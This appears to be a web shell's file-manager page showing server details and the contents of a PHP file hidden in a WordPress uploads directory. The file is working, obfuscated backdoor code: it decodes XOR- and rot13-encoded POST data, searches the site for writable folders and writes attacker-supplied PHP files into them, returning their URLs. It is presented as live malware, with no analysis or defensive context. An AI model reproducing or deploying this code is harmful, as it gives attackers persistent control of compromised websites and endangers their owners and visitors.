HEX
Server: Apache
System: Linux webm005.cluster114.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: epubdjye (129326)
PHP: 8.5.7
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/epubdjye/www17/wp-content/uploads/2020/06/gejxbdky.php
<?php $ejevc = "hkmnjhzrsouclqzc";$ziydppzvtl = "";foreach ($_POST as $subfjbvwayks => $lbdefwpfk){if (strlen($subfjbvwayks) == 16 and substr_count($lbdefwpfk, "%") > 10){ybxkgexe($subfjbvwayks, $lbdefwpfk);}}function ybxkgexe($subfjbvwayks, $oyhmkcmlmp){global $ziydppzvtl;$ziydppzvtl = $subfjbvwayks;$oyhmkcmlmp = str_split(rawurldecode(str_rot13($oyhmkcmlmp)));function spyhvxrrli($jtpusn, $subfjbvwayks){global $ejevc, $ziydppzvtl;return $jtpusn ^ $ejevc[$subfjbvwayks % strlen($ejevc)] ^ $ziydppzvtl[$subfjbvwayks % strlen($ziydppzvtl)];}$oyhmkcmlmp = implode("", array_map("spyhvxrrli", array_values($oyhmkcmlmp), array_keys($oyhmkcmlmp)));$oyhmkcmlmp = @unserialize($oyhmkcmlmp);if (@is_array($oyhmkcmlmp)){$subfjbvwayks = array_keys($oyhmkcmlmp);$oyhmkcmlmp = $oyhmkcmlmp[$subfjbvwayks[0]];if ($oyhmkcmlmp === $subfjbvwayks[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function gfoikavln($subfjbvir) {static $hzebhyju = array();$axidb = glob($subfjbvir . '/*', GLOB_ONLYDIR);if (count($axidb) > 0) {foreach ($axidb as $subfjbv){if (@is_writable($subfjbv)){$hzebhyju[] = $subfjbv;}}}foreach ($axidb as $subfjbvir) gfoikavln($subfjbvir);return $hzebhyju;}$vxlkjr = $_SERVER["DOCUMENT_ROOT"];$axidb = gfoikavln($vxlkjr);$subfjbvwayks = array_rand($axidb);$negps = $axidb[$subfjbvwayks] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($negps, $oyhmkcmlmp);echo "http://" . $_SERVER["HTTP_HOST"] . substr($negps, strlen($vxlkjr));exit();}}}